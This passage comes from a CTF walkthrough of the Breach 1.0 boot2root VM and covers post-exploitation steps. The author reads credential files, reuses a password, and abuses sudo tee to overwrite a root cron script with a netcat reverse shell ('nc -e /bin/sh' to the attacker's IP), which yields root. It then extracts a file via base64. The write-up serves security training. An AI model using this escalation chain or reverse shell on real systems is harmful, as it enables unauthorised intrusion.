45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

Checking /etc/passwd for anything interesting

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

Interesting accounts to take note of are milton and blumergh as there may be some password reuse. A bit of poking around first though finds the credentials in the configuration just used to login to the tomcat server.

cat /var/lib/tomcat6/conf/tomcat-users.xml

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

Poking around the home directory there appears to be two user accounts on which correlate to the interesting accounts discovered earlier for milton and blumbergh, milton has a my_badge.jpg and a script in his home directory. Milton appears to have added blumbergh to the sudoers file which is interesting as he can run some scripts that don’t require a password.

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

The badge:

49_Breach_1.0_boot2root_CTF_Milton_badge

49_Breach_1.0_boot2root_CTF_Milton_badge

Checking for any hidden files there are a few but they cannot currently be accessed

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

The same is seen in the blumbergh home folder

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

Trying blumbergh first with the password “coffeestains” was a success haha, all hail password reuse

52_Breach_1.0_boot2root_CTF_su_blumbergh

52_Breach_1.0_boot2root_CTF_su_blumbergh

Checking the .bash_history file of the blumbergh account shows a script was used in what looks like some sort of a cleanup folder

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

Navigating to that directory shows a hacker evasion script ๐Ÿ™‚ (This must be what keeps kicking me off the server)

54_Breach_1.0_boot2root_CTF_tidyup_script

54_Breach_1.0_boot2root_CTF_tidyup_script

The interesting thing here is that the /var/lib/tomcat6/webapps/swingline directory has some permissions which should allow scripts to run as tomcat6 every three minutes, this could allow a reverse nc shell to run every three minutes if we are lucky!

55_Breach_1.0_boot2root_CTF_stat_swingline

55_Breach_1.0_boot2root_CTF_stat_swingline

Running sudo -l as blumbergh shows Bill can run tee as he is added to the sudoers directory, tee can be used for writing to standard input and standard output ๐Ÿ™‚

56_Breach_1.0_boot2root_CTF_sudo_l

56_Breach_1.0_boot2root_CTF_sudo_l

Lets create a quick netcat listener test script “script.sh” that can be ran as a test before the three minutes are up and it’s removed from the swingline directory (success):

echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh

Because we can run tee as root we can then use that script and echo it into the tidyup.sh script using tee!

cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

A quick check the script has been modified:

cat /usr/share/cleanup/tidyup.sh

nc -e /bin/sh 192.168.110.23 443

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

Disconnect again and set your listener of choice in motion and play the waiting game for the next three minutes

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

Woohoo, root unlocked ๐Ÿ™‚

60_Breach_1.0_boot2root_CTF_Flag_obtained

60_Breach_1.0_boot2root_CTF_Flag_obtained

Looking at flair.jpg it can be turned into base64 and easily transported off the system then decoded back into a JPG on the host system

base64 flair.jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

base64 -d flair > flair.jpg

“-d” is used for decoding

Opening it from the terminal then with xdg-open

xdg-open flair.jpg

I need to talk about your flair ๐Ÿ™‚

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

And that’s it, I could have delved further and looked at the mysql side of things but I didn’t need to start cracking hashes or manipulating tables to get to the end goal, there are probably other methods that will get you to root possibly even quicker but this worked for me and I’m happy with the end result. It’s a great challenge and you can download it here from the download mirror or from magnet torrent to give it a go yourself. It’s well worth it!